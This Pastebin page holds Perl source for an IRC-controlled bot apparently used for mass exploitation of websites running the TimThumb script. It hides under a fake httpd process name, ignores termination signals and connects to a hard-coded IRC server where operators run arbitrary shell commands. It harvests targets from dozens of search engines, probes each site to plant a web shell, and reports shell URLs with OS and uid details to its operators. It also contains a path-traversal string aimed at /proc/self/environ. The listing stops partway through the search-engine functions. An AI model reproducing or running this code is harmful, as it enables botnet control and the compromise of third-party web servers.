Advertisement
Guest User

Bot

a guest
Jan 19th, 2013
1,453
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 50.04 KB | None | 0 0
  1. #!/usr/bin/perl
  2. #############################
  3. ##################### Timthumb v 1.02 ##############
  4. #########################################################
  5. use HTTP::Request; #
  6. use HTTP::Request::Common; #
  7. use HTTP::Request::Common qw(POST); #
  8. use LWP::Simple; #
  9. use LWP 5.64; #
  10. use LWP::UserAgent; #
  11. use Socket; #
  12. use IO::Socket; #
  13. use IO::Socket::INET; #
  14. use IO::Select; #
  15. use MIME::Base64; #
  16. #########################################################
  17.  
  18. my $datetime = localtime;
  19.  
  20. my $fakeproc = "/usr/sbin/httpd";
  21. my $ircserver = '94.249.208.164' unless $ircserver;
  22. my $ircport = '6667';
  23. my $nickname = "jatimcrew";
  24. my $ident = "jatimcrew";
  25. my $channel = "#IRH";
  26. my $admin = "bom2stalker";
  27.  
  28. my $username = "4,1(9@IRH4,1)";
  29. my $thumblogo = "4,1(9!0timthumb4,1)";
  30.  
  31. my $thumbcmd = '!tim';
  32.  
  33. my $thumbshell = "shell.php";
  34. my $stalker1 = "/cache/1ca925cd2bacd505294eb39c9f85233f.php";
  35. my $stalker2 = "/cache/external_1ca925cd2bacd505294eb39c9f85233f.php";
  36. my $stalker3 = "/temp/1ca925cd2bacd505294eb39c9f85233f.php";
  37. my $stalker4 = "/temp/external_1ca925cd2bacd505294eb39c9f85233f.php";
  38. my $stalker5 = "/wp-content/uploads/thumb-temp/1ca925cd2bacd505294eb39c9f85233f.php";
  39.  
  40. my $engine ="GooGLe,ReDiff,Bing,ALtaViSTa,AsK,UoL,CluSty,GutSer,GooGle2,ExaLead,VirgiLio,WebDe,AoL,SaPo,DuCk,YauSe,BaiDu,KiPoT,GiBLa,YahOo,HotBot,LyCos,LyGo,BLacK,oNeT,SiZuka,WaLLa,DeMos,RoSe,SeZnaM,TisCali,NaVeR,Clix,Search66,BigLobe,InteRia,PaGIna";
  41. my @uagents = ("Mozilla/5.0 (compatible; Googlebot/2.0; +http://www.google.com/bot.html)","FreeWebMonitoring SiteChecker/0.1 (+http://www.freewebmonitoring.com)",
  42. "Gigabot/3.0 (http://www.gigablast.com/spider.html)","gsa-crawler (Enterprise; GID-01422; jplastiras@google.com)","Mozilla/5.0 (Windows; U; Windows NT 5.1;en-US;rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12",
  43. "IlTrovatore-Setaccio/1.2 (http://www.iltrovatore.it/aiuto/faq.html)","Mozilla/5.0 (Windows;U;Windows NT 5.1; l-PL;rv:1.8.1.24pre) Gecko/20100228 K-Meleon/1.5.4",
  44. "Infoseek SideWinder/2.0B (Linux 2.4 i686)","Mozilla/5.0 (X11;U;Linux i686 (x86_64);en-US;rv:1.9.0.16) Gecko/2009122206 Firefox/3.0.16 Flock/2.5.6",
  45. "Mozilla/5.0 (compatible;Baiduspider/2.0;+http://www.baidu.com/search/spider.html)","Mozilla/5.0 (Windows;U;Windows NT 6.0; en-US; rv:1.8.1.8pre) Gecko/20070928 Firefox/2.0.0.7 Navigator/9.0RC1",
  46. "Mozilla/5.0 (compatible;bingbot/2.0;+http://www.bing.com/bingbot.htm)","Sogou web spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)");
  47. my $uagent = $uagents[rand(scalar(@uagents))];
  48. my $lfdtest = "../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ%00";
  49.  
  50. print ('Ps-X TeaM');
  51.  
  52. $SIG{'INT'} = 'IGNORE';
  53. $SIG{'HUP'} = 'IGNORE';
  54. $SIG{'TERM'} = 'IGNORE';
  55. $SIG{'CHLD'} = 'IGNORE';
  56. $SIG{'PS'} = 'IGNORE';
  57.  
  58. chdir("/");
  59. $ircserver = "$ARGV[0]" if $ARGV[0];
  60. $0 = "$fakeproc"."\0" x 16;
  61. my $pid = fork;
  62. exit if $pid;
  63. die "\n[!] Something Wrong !!!: $!\n\n" unless defined($pid);
  64.  
  65. our %irc_servers;
  66. our %DCC;
  67. my $dcc_sel = new IO::Select->new();
  68. $sel_client = IO::Select->new();
  69. sub sendraw {
  70. if ($#_ == '1') {
  71. my $socket = $_[0];
  72. print $socket "$_[1]\n";
  73. } else {
  74. print $IRC_cur_socket "$_[0]\n";
  75. }
  76. }
  77.  
  78. sub connector {
  79. my $mynick = $_[0];
  80. my $ircserver_con = $_[1];
  81. my $ircport_con = $_[2];
  82. my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$ircserver_con", PeerPort=>$ircport_con) or return(1);
  83. if (defined($IRC_socket)) {
  84. $IRC_cur_socket = $IRC_socket;
  85. $IRC_socket->autoflush(1);
  86. $sel_client->add($IRC_socket);
  87. $irc_servers{$IRC_cur_socket}{'host'} = "$ircserver_con";
  88. $irc_servers{$IRC_cur_socket}{'port'} = "$ircport_con";
  89. $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  90. $irc_servers{$IRC_cur_socket}{'myip'} = $IRC_socket->sockhost;
  91. nick("$mynick");
  92. sendraw("USER $ident ".$IRC_socket->sockhost." $ircserver_con :$username");
  93. sleep (1);
  94. }
  95. }
  96.  
  97. sub parse {
  98. my $servarg = shift;
  99. if ($servarg =~ /^PING \:(.*)/) {
  100. sendraw("PONG :$1");
  101. }
  102. elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
  103. if (lc($1) eq lc($mynick)) {
  104. $mynick = $4;
  105. $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  106. }
  107. }
  108. elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
  109. nick("$mynick".int rand(999));
  110. }
  111. elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
  112. $mynick = $2;
  113. $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  114. $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
  115. sendraw("MODE $mynick +i");
  116. sendraw("JOIN $channel");
  117. sleep(1);
  118. sendraw("PRIVMSG $channel :irhtim ready");
  119. sendraw("PRIVMSG $admin :9SIAP");
  120. }
  121. }
  122.  
  123. my $line_temp;
  124. while( 1 ) {
  125. while (!(keys(%irc_servers))) { connector("$nickname", "$ircserver", "$ircport"); }
  126. delete($irc_servers{''}) if (defined($irc_servers{''}));
  127. my @ready = $sel_client->can_read(0);
  128. next unless(@ready);
  129. foreach $fh (@ready) {
  130. $IRC_cur_socket = $fh;
  131. $mynick = $irc_servers{$IRC_cur_socket}{'nick'};
  132. $nread = sysread($fh, $ircmsg, 4096);
  133. if ($nread == 0) {
  134. $sel_client->remove($fh);
  135. $fh->close;
  136. delete($irc_servers{$fh});
  137. }
  138. @lines = split (/\n/, $ircmsg);
  139. $ircmsg =~ s/\r\n$//;
  140.  
  141. if ($ircmsg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
  142. my ($nick,$ident,$host,$path,$msg) = ($1,$2,$3,$4,$5);
  143. if ($path eq $mynick) {
  144. if ($msg =~ /^PING (.*)/) {
  145. sendraw("NOTICE $nick :PING $1");
  146. }
  147. if ($msg =~ /^VERSION/) {
  148. sendraw("NOTICE $nick :VERSION mIRC irh");
  149. }
  150. if ($msg =~ /^TIME/) {
  151. sendraw("NOTICE $nick :TIME ".$datetime."");
  152. }
  153. if (&isAdmin($nick) && $msg eq "!die") {
  154. &shell("$path","kill -9 $$");
  155. }
  156. if (&isAdmin($nick) && $msg eq "!quit") {
  157. &shell("$path","killall -9 perl");
  158. }
  159. if (&isAdmin($nick) && $msg eq "!rehash") {
  160. sendraw("QUIT :9Restart Proses...");
  161. }
  162. if (&isAdmin($nick) && $msg =~ /^!join \#(.+)/) {
  163. sendraw("JOIN #".$1);
  164. }
  165. if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) {
  166. sendraw("PART #".$1);
  167. }
  168. if (&isAdmin($nick) && $msg =~ /^!nick (.+)/) {
  169. sendraw("NICK ".$1);
  170. }
  171. if (&isAdmin($nick) && $msg =~ /^!pid/) {
  172. sendraw($IRC_cur_socket, "PRIVMSG $nick :Fake Process/PID : $fakeproc - $$");
  173. }
  174. if (&isAdmin($nick) && $msg !~ /^!/) {
  175. &shell("$nick","$msg");
  176. }
  177. }
  178. else {
  179. if (&isAdmin($nick) && $msg eq "!die") {
  180. &shell("$path","kill -9 $$");
  181. }
  182. if (&isAdmin($nick) && $msg eq "!quit") {
  183. &shell("$path","killall -9 perl");
  184. }
  185. if (&isAdmin($nick) && $msg eq "!rehash") {
  186. sendraw("QUIT :9Restart Proses...");
  187. }
  188. if (&isAdmin($nick) && $msg =~ /^!join \#(.+)/) {
  189. sendraw("JOIN #".$1);
  190. }
  191. if (&isAdmin($nick) && $msg eq "!part") {
  192. sendraw("PART $path");
  193. }
  194. if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) {
  195. sendraw("PART #".$1);
  196. }
  197. if (&isAdmin($nick) && $msg =~ /^\.sh (.*)/) {
  198. &shell("$path","$1");
  199. }
  200. if (&isAdmin($nick) && $msg =~ /^$mynick (.*)/) {
  201. &shell("$path","$1");
  202. }
  203. ######################################################### HELP COMMAND
  204. if ($msg=~ /^!help/) {
  205. my $helplogo = "4(9@0Help4)";
  206. &notice("$nick","$helplogo 9##################12HELP9##################");
  207. &notice("$nick","$helplogo 0This Bot For TimThumb Scanner Only");
  208. &notice("$nick","$helplogo 4Command : $thumbcmd [bug] [Dork] ");
  209. &notice("$nick","$helplogo 9##################12irh9##################");
  210. }
  211.  
  212. if (&isAdmin($nick) && $msg =~ /^!pid/) {
  213. &notice("$nick","4,1Fake Process/PID : $fakeproc - $$");
  214. }
  215.  
  216. ######################################################### TIMTHUMB
  217. if ($msg=~ /^$thumbcmd\s+(.+?)\s+(.*)/) {
  218. if (my $pid = fork) {
  219. waitpid($pid, 0);
  220. }
  221. else {
  222. if (fork) { exit; } else {
  223. my ($bug,$dork) = ($1,$2);
  224. &msg("$path","$thumblogo 0Dork :9 $dork");
  225. &msg("$path","$thumblogo 0Bugz :9 $bug");
  226. &msg("$path","$thumblogo 4,1Search Engine Loading ...");
  227. &scan_start($path,$bug,$dork,$engine,3);
  228. }
  229. exit;
  230. }
  231. }
  232. }
  233. }
  234.  
  235. for(my $c=0; $c<= $#lines; $c++) {
  236. $line = $lines[$c];
  237. $line = $line_temp.$line if ($line_temp);
  238. $line_temp = '';
  239. $line =~ s/\r$//;
  240. unless ($c == $#lines) {
  241. &parse("$line");
  242. } else {
  243. if ($#lines == 0) {
  244. &parse("$line");
  245. } elsif ($lines[$c] =~ /\r$/) {
  246. &parse("$line");
  247. } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
  248. &parse("$line");
  249. } else {
  250. $line_temp = $line;
  251. }
  252. }
  253. }
  254. }
  255. }
  256.  
  257. #########################################
  258. sub type () {
  259. my ($chan,$bug,$dork,$engine,$type) = @_;
  260. if ($type == 1){&rfi($chan,$bug,$dork,$engine);}
  261. elsif ($type == 2){&lfi($chan,$bug,$dork,$engine);}
  262. elsif ($type == 3){&thumb($chan,$bug,$dork,$engine);}
  263. }
  264.  
  265. sub scan_start() {
  266. my ($chan,$bug,$dork,$engine,$type) = @_;
  267. if ($engine =~ /google/i) {
  268. if (my $pid = fork) { waitpid($pid, 0); }
  269. else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLe",$type); } exit; }
  270. }
  271. if ($engine =~ /rediff/i) {
  272. if ($pid = fork) { waitpid($pid, 0); }
  273. else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ReDiff",$type); } exit; }
  274. }
  275. if ($engine =~ /bing/i) {
  276. if ($pid = fork) { waitpid($pid, 0); }
  277. else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Bing",$type); } exit; }
  278. }
  279. if ($engine =~ /altavista/i) {
  280. if ($pid = fork) { waitpid($pid, 0); }
  281. else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ALtaViSTa",$type); } exit; }
  282. }
  283. if ($engine =~ /ask/i) {
  284. if ($pid = fork) { waitpid($pid, 0); }
  285. else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AsK",$type); } exit; }
  286. }
  287. if ($engine =~ /uol/i) {
  288. if ($pid = fork) { waitpid($pid, 0); }
  289. else { if (fork) { exit; } else { &type($chan,$bug,$dork,"UoL",$type); } exit; }
  290. }
  291. if ($engine =~ /yahoo/i) {
  292. if ($pid = fork) { waitpid($pid, 0); }
  293. else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YahOo",$type); } exit; }
  294. }
  295. if ($engine =~ /clusty/i) {
  296. if ($pid = fork) { waitpid($pid, 0); }
  297. else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CluSty",$type); } exit; }
  298. }
  299. if ($engine =~ /gutser/i) {
  300. if ($pid = fork) { waitpid($pid, 0); }
  301. else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GutSer",$type); } exit; }
  302. }
  303. if ($engine =~ /google2/i) {
  304. if ($pid = fork) { waitpid($pid, 0); }
  305. else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGle2",$type); } exit; }
  306. }
  307. if ($engine =~ /virgilio/i) {
  308. if ($pid = fork) { waitpid($pid, 0); }
  309. else { if (fork) { exit; } else { &type($chan,$bug,$dork,"VirgiLio",$type); } exit; }
  310. }
  311. if ($engine =~ /webde/i) {
  312. if ($pid = fork) { waitpid($pid, 0); }
  313. else { if (fork) { exit; } else { &type($chan,$bug,$dork,"WebDe",$type); } exit; }
  314. }
  315. if ($engine =~ /exalead/i) {
  316. if ($pid = fork) { waitpid($pid, 0); }
  317. else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ExaLead",$type); } exit; }
  318. }
  319. if ($engine =~ /lycos/i) {
  320. if ($pid = fork) { waitpid($pid, 0); }
  321. else { if (fork) { exit; } else { &type($chan,$bug,$dork,"LyCos",$type); } exit; }
  322. }
  323. if ($engine =~ /hotbot/i) {
  324. if ($pid = fork) { waitpid($pid, 0); }
  325. else { if (fork) { exit; } else { &type($chan,$bug,$dork,"HotBot",$type); } exit; }
  326. }
  327. if ($engine =~ /aol/i) {
  328. if ($pid = fork) { waitpid($pid, 0); }
  329. else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AoL",$type); } exit; }
  330. }
  331. if ($engine =~ /sapo/i) {
  332. if ($pid = fork) { waitpid($pid, 0); }
  333. else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SaPo",$type); } exit; }
  334. }
  335. if ($engine =~ /duck/i) {
  336. if ($pid = fork) { waitpid($pid, 0); }
  337. else { if (fork) { exit; } else { &type($chan,$bug,$dork,"DuCk",$type); } exit; }
  338. }
  339. if ($engine =~ /lygo/i) {
  340. if ($pid = fork) { waitpid($pid, 0); }
  341. else { if (fork) { exit; } else { &type($chan,$bug,$dork,"LyGo",$type); } exit; }
  342. }
  343. if ($engine =~ /yause/i) {
  344. if ($pid = fork) { waitpid($pid, 0); }
  345. else { if (fork) { exit; } else { &type($chan,$bug,$dork,"YauSe",$type); } exit; }
  346. }
  347. if ($engine =~ /baidu/i) {
  348. if ($pid = fork) { waitpid($pid, 0); }
  349. else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BaiDu",$type); } exit; }
  350. }
  351. if ($engine =~ /kipot/i) {
  352. if ($pid = fork) { waitpid($pid, 0); }
  353. else { if (fork) { exit; } else { &type($chan,$bug,$dork,"KiPoT",$type); } exit; }
  354. }
  355. if ($engine =~ /gibla/i) {
  356. if ($pid = fork) { waitpid($pid, 0); }
  357. else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GiBLa",$type); } exit; }
  358. }
  359. if ($engine =~ /black/i) {
  360. if ($pid = fork) { waitpid($pid, 0); }
  361. else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BLacK",$type); } exit; }
  362. }
  363. if ($engine =~ /onet/i) {
  364. if ($pid = fork) { waitpid($pid, 0); }
  365. else { if (fork) { exit; } else { &type($chan,$bug,$dork,"oNeT",$type); } exit; }
  366. }
  367. if ($engine =~ /sizuka/i) {
  368. if ($pid = fork) { waitpid($pid, 0); }
  369. else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SiZuka",$type); } exit; }
  370. }
  371. if ($engine =~ /walla/i) {
  372. if ($pid = fork) { waitpid($pid, 0); }
  373. else { if (fork) { exit; } else { &type($chan,$bug,$dork,"WaLLa",$type); } exit; }
  374. }
  375. if ($engine =~ /demos/i) {
  376. if ($pid = fork) { waitpid($pid, 0); }
  377. else { if (fork) { exit; } else { &type($chan,$bug,$dork,"DeMos",$type); } exit; }
  378. }
  379. if ($engine =~ /rose/i) {
  380. if ($pid = fork) { waitpid($pid, 0); }
  381. else { if (fork) { exit; } else { &type($chan,$bug,$dork,"RoSe",$type); } exit; }
  382. }
  383. if ($engine =~ /seznam/i) {
  384. if ($pid = fork) { waitpid($pid, 0); }
  385. else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SeZnaM",$type); } exit; }
  386. }
  387. if ($engine =~ /tiscali/i) {
  388. if ($pid = fork) { waitpid($pid, 0); }
  389. else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TisCali",$type); } exit; }
  390. }
  391. if ($engine =~ /naver/i) {
  392. if ($pid = fork) { waitpid($pid, 0); }
  393. else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NaVeR",$type); } exit; }
  394. }
  395. if ($engine =~ /clix/i) {
  396. if ($pid = fork) { waitpid($pid, 0); }
  397. else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Clix",$type); } exit; }
  398. }
  399. if ($engine =~ /search66/i) {
  400. if ($pid = fork) { waitpid($pid, 0); }
  401. else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Search66",$type); } exit; }
  402. }
  403. if ($engine =~ /biglobe/i) {
  404. if ($pid = fork) { waitpid($pid, 0); }
  405. else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BigLobe",$type); } exit; }
  406. }
  407. if ($engine =~ /interia/i) {
  408. if ($pid = fork) { waitpid($pid, 0); }
  409. else { if (fork) { exit; } else { &type($chan,$bug,$dork,"InteRia",$type); } exit; }
  410. }
  411. if ($engine =~ /pagina/i) {
  412. if ($pid = fork) { waitpid($pid, 0); }
  413. else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PaGIna",$type); } exit; }
  414. }
  415.  
  416. }
  417.  
  418. ######### TIMTHUMB
  419. sub thumb() {
  420. my $chan = $_[0];
  421. my $bug = $_[1];
  422. my $dork = $_[2];
  423. my $engine = $_[3];
  424. my $count = 0;
  425. my @list = &search_engine($chan,$bug,$dork,$engine,$thumblogo);
  426. my $num = scalar(@list);
  427. if ($num > 0) {
  428. foreach my $site (@list) {
  429. $count++;
  430. if ($count == $num-1) { &msg("$chan","$thumblogo(9@0$engine4,1)00 Scan finish"); }
  431. my $vuln = "http://".$site.$bug."?src=".$thumbshell;
  432. my $cek = &get_content($vuln);sleep(1);
  433. if ($cek =~ /unable to open image/i) {
  434. &msg("$chan","4,1 E0x03PL2o0i4,1t4Z00 $site");sleep(1);
  435. (my $stalker = $bug)=~ s{/[^/]+\z}{};
  436. my $vuln2 = "http://".$site.$stalker.$stalker1;
  437. my $vuln3 = "http://".$site.$stalker.$stalker2;
  438. my $vuln4 = "http://".$site.$stalker.$stalker3;
  439. my $vuln5 = "http://".$site.$stalker.$stalker4;
  440. my $vuln6 = "http://".$site.$stalker5;
  441. my $god = "bom2stalker";
  442. my $safe ="";
  443. my $os ="";
  444. my $free ="";
  445. my $uid ="";
  446. my $check1 = &get_content($vuln2);sleep(1);
  447. my $check2 = &get_content($vuln3);sleep(1);
  448. my $check3 = &get_content($vuln4);sleep(1);
  449. my $check4 = &get_content($vuln5);sleep(1);
  450. my $check5 = &get_content($vuln6);sleep(1);
  451. if ($check1 =~ /GIF89a/i) {
  452. if ($check1 =~ m/color=red><b>&nbsp;&nbsp;&nbsp;(.*?)<br>/) {$os = $1;}
  453. if ($check1 =~ m/Total space: <b>(.*?)<\/b><br>/) {$free = $1;}
  454. if ($check1 =~ m/uid=(.*?)gid=/) {$uid = $1;}
  455. if ($check1 =~ m/SAFE MODE: (.*?)<\/b><\/font>/) {$safe = $1;}
  456. &msg("$chan","$thumblogo(9@0$engine4,1)(9@4,1irh4,1) 0".$vuln2."3 (SafeMode= $safe) (OS= $os) (FreeSpace= $free) (uid= $uid");
  457. &msg("$admin","$thumblogo(9@0$engine4,1)(9@4,1irh4,1)0 ".$vuln2."3 (SafeMode= $safe) (OS= $os) (FreeSpace= $free) (uid= $uid");
  458. &msg("$god","Nih Bos ".$vuln2." (SafeMode=$safe) (OS=$os) (total=$free) (uid=$uid");
  459. }
  460. if ($check2 =~ /GIF89a/i) {
  461. if ($check1 =~ m/color=red><b>&nbsp;&nbsp;&nbsp;(.*?)<br>/) {$os = $1;}
  462. if ($check1 =~ m/Total space: <b>(.*?)<\/b><br>/) {$free = $1;}
  463. if ($check1 =~ m/uid=(.*?)gid=/) {$uid = $1;}
  464. if ($check1 =~ m/SAFE MODE: (.*?)<\/b><\/font>/) {$safe = $1;}
  465. &msg("$chan","$thumblogo(9@0$engine4,1)(9@4,1irh4,1) 0".$vuln3."3 (SafeMode= $safe) (OS= $os) (FreeSpace= $free) (uid= $uid");
  466. &msg("$admin","$thumblogo(9@0$engine4,1)(9@4,1irh4,1)0 ".$vuln3."3 (SafeMode= $safe) (OS= $os) (FreeSpace= $free) (uid= $uid");
  467. &msg("$god","Nih Bos ".$vuln3." (SafeMode=$safe) (OS=$os) (total=$free) (uid=$uid");
  468. }
  469. if ($check3 =~ /GIF89a/i) {
  470. if ($check1 =~ m/color=red><b>&nbsp;&nbsp;&nbsp;(.*?)<br>/) {$os = $1;}
  471. if ($check1 =~ m/Total space: <b>(.*?)<\/b><br>/) {$free = $1;}
  472. if ($check1 =~ m/uid=(.*?)gid=/) {$uid = $1;}
  473. if ($check1 =~ m/SAFE MODE: (.*?)<\/b><\/font>/) {$safe = $1;}
  474. &msg("$chan","$thumblogo(9@0$engine4,1)(9@4,1irh4,1) 0".$vuln4."3 (SafeMode= $safe) (OS= $os) (FreeSpace= $free) (uid= $uid");
  475. &msg("$admin","$thumblogo(9@0$engine4,1)(9@4,1irh4,1)0 ".$vuln4."3 (SafeMode= $safe) (OS= $os) (FreeSpace= $free) (uid= $uid");
  476. &msg("$god","Nih Bos ".$vuln4." (SafeMode=$safe) (OS=$os) (total=$free) (uid=$uid");
  477. }
  478. if ($check4 =~ /GIF89a/i) {
  479. if ($check1 =~ m/color=red><b>&nbsp;&nbsp;&nbsp;(.*?)<br>/) {$os = $1;}
  480. if ($check1 =~ m/Total space: <b>(.*?)<\/b><br>/) {$free = $1;}
  481. if ($check1 =~ m/uid=(.*?)gid=/) {$uid = $1;}
  482. if ($check1 =~ m/SAFE MODE: (.*?)<\/b><\/font>/) {$safe = $1;}
  483. &msg("$chan","$thumblogo(9@0$engine4,1)(9@4,1irh4,1) 0".$vuln5."3 (SafeMode= $safe) (OS= $os) (FreeSpace= $free) (uid= $uid");
  484. &msg("$admin","$thumblogo(9@0$engine4,1)(9@4,1irh4,1)0 ".$vuln5."3 (SafeMode= $safe) (OS= $os) (FreeSpace= $free) (uid= $uid");
  485. &msg("$god","Nih Bos ".$vuln5." (SafeMode=$safe) (OS=$os) (total=$free) (uid=$uid");
  486. }
  487. if ($check5 =~ /GIF89a/i) {
  488. if ($check1 =~ m/color=red><b>&nbsp;&nbsp;&nbsp;(.*?)<br>/) {$os = $1;}
  489. if ($check1 =~ m/Total space: <b>(.*?)<\/b><br>/) {$free = $1;}
  490. if ($check1 =~ m/uid=(.*?)gid=/) {$uid = $1;}
  491. if ($check1 =~ m/SAFE MODE: (.*?)<\/b><\/font>/) {$safe = $1;}
  492. &msg("$chan","$thumblogo(9@0$engine4,1)(9@4,1irh4,1) 0".$vuln6."3 (SafeMode= $safe) (OS= $os) (FreeSpace= $free) (uid= $uid");
  493. &msg("$admin","$thumblogo(9@0$engine4,1)(9@4,1irh4,1)0".$vuln6."3 (SafeMode= $safe) (OS= $os) (FreeSpace= $free) (uid= $uid");
  494. &msg("$god","Nih Bos ".$vuln6." (SafeMode=$safe) (OS=$os) (total=$free) (uid=$uid");
  495. }
  496. }
  497. }
  498. }
  499. }
  500.  
  501. #####################################
  502.  
  503. sub search_engine() {
  504. my (@total,@clean);
  505. my $chan = $_[0];
  506. my $bug = $_[1];
  507. my $dork = $_[2];
  508. my $engine = $_[3];
  509. my $logo = $_[4];
  510. if ($engine eq "GooGLe") { my @google = &google($dork); push(@total,@google); }
  511. if ($engine eq "ReDiff") { my @rediff = &rediff($dork); push(@total,@rediff); }
  512. if ($engine eq "Bing") { my @bing = &bing($dork); push(@total,@bing); }
  513. if ($engine eq "ALtaViSTa") { my @altavista = &altavista($dork); push(@total,@altavista); }
  514. if ($engine eq "YahOo") { my @yahoo = &yahoo($dork); push(@total,@yahoo); }
  515. if ($engine eq "AsK") { my @ask = &ask($dork); push(@total,@ask); }
  516. if ($engine eq "UoL") { my @uol = &uol($dork); push(@total,@uol); }
  517. if ($engine eq "CluSty") { my @clusty = &clusty($dork); push(@total,@clusty); }
  518. if ($engine eq "GutSer") { my @gutser = &gutser($dork); push(@total,@gutser); }
  519. if ($engine eq "GooGle2") { my @google2 = &google2($dork); push(@total,@google2); }
  520. if ($engine eq "ExaLead") { my @exalead = &exalead($dork); push(@total,@exalead); }
  521. if ($engine eq "LyCos") { my @lycos = &lycos($dork); push(@total,@lycos); }
  522. if ($engine eq "VirgiLio") { my @virgilio = &virgilio($dork); push(@total,@virgilio); }
  523. if ($engine eq "WebDe") { my @webde = &webde($dork); push(@total,@webde); }
  524. if ($engine eq "HotBot") { my @hotbot = &hotbot($dork); push(@total,@hotbot); }
  525. if ($engine eq "AoL") { my @aol = &aol($dork); push(@total,@aol); }
  526. if ($engine eq "SaPo") { my @sapo = &sapo($dork); push(@total,@sapo); }
  527. if ($engine eq "DuCk") { my @duck = &duck($dork); push(@total,@duck); }
  528. if ($engine eq "LyGo") { my @lygo = &lygo($dork); push(@total,@lygo); }
  529. if ($engine eq "YauSe") { my @yause = &yause($dork); push(@total,@yause); }
  530. if ($engine eq "BaiDu") { my @baidu = &baidu($dork); push(@total,@baidu); }
  531. if ($engine eq "KiPoT") { my @kipot = &kipot($dork); push(@total,@kipot); }
  532. if ($engine eq "GiBLa") { my @gibla = &gibla($dork); push(@total,@gibla); }
  533. if ($engine eq "BLacK") { my @black = &black($dork); push(@total,@black); }
  534. if ($engine eq "oNeT") { my @onet = &onet($dork); push(@total,@onet); }
  535. if ($engine eq "SiZuka") { my @sizuka = &sizuka($dork); push(@total,@sizuka); }
  536. if ($engine eq "WaLLa") { my @walla = &walla($dork); push(@total,@walla); }
  537. if ($engine eq "DeMos") { my @demos = &demos($dork); push(@total,@demos); }
  538. if ($engine eq "RoSe") { my @rose = &rose($dork); push(@total,@rose); }
  539. if ($engine eq "SeZnaM") { my @seznam = &seznam($dork); push(@total,@seznam); }
  540. if ($engine eq "TisCali") { my @tiscali = &tiscali($dork); push(@total,@tiscali); }
  541. if ($engine eq "NaVeR") { my @naver = &naver($dork); push(@total,@naver); }
  542. if ($engine eq "Clix") { my @clix = &clix($dork); push(@total,@clix); }
  543. if ($engine eq "Search66") { my @search66 = &search66($dork); push(@total,@search66); }
  544. if ($engine eq "BigLobe") { my @biglobe = &biglobe($dork); push(@total,@biglobe); }
  545. if ($engine eq "InteRia") { my @interia = &interia($dork); push(@total,@interia); }
  546. if ($engine eq "PaGIna") { my @pagina = pagina($dork); push(@total,@pagina); }
  547. @clean = clean(@total);
  548. &msg("$chan","$logo(4@8$engine15)4 Total:0 (".scalar(@total).")4 Clean:0 (".scalar(@clean).")");
  549. return @clean;
  550. }
  551.  
  552. #########################################
  553.  
  554. sub isFound() {
  555. my $status = 0;
  556. my $link = $_[0];
  557. my $reqexp = $_[1];
  558. my $res = &get_content($link);
  559. if ($res =~ /$reqexp/) { $status = 1 }
  560. return $status;
  561. }
  562.  
  563. sub get_content() {
  564. my $url = $_[0];
  565. my $ua = LWP::UserAgent->new(agent => $uagent);
  566. $ua->timeout(7);
  567. my $req = HTTP::Request->new(GET => $url);
  568. my $res = $ua->request($req);
  569. return $res->content;
  570. }
  571.  
  572. ######################################### SEARCH ENGINE
  573.  
  574. sub google() {
  575. my @list;
  576. my $key = $_[0];
  577. for (my $i=0; $i<=400; $i+=10){
  578. my $search = ("http://www.google.com/search?q=".&key($key)."&num=100&filter=0&start=".$i);
  579. my $res = &search_engine_query($search);
  580. while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  581. if ($1 !~ /google/){
  582. my $link = $1;
  583. my @grep = &links($link);
  584. push(@list,@grep);
  585. }
  586. }
  587. }
  588. return @list;
  589. }
  590.  
  591. sub rediff() {
  592. my @list;
  593. my $key = $_[0];
  594. for (my $i=0; $i<=500; $i+=10) {
  595. my $search = ("http://search1.rediff.com/dirsrch/default.asp?MT=".&key($key)."&iss=&submit=Search&firstres=".$i);
  596. $b = "$i";
  597. my $res = &search_engine_query($search);
  598. if ($res !~ /firstres=$b\'>/) {$i=500;}
  599. while ($res =~ m/<a href=\"http:\/\/(.*?)\" onmousedown/g) {
  600. if ($1 !~ /rediff\.com/){
  601. my $link = $1;
  602. my @grep = &links($link);
  603. push(@list,@grep);
  604. }
  605. }
  606. }
  607. return @list;
  608. }
  609.  
  610. sub uol() {
  611. my @list;
  612. my $key = $_[0];
  613. for (my $i=1; $i<=500; $i+=10) {
  614. my $search = ("http://mundo.busca.uol.com.br/buscar.html?q=".&key($key)."&start=".$i);
  615. my $res = &search_engine_query($search);
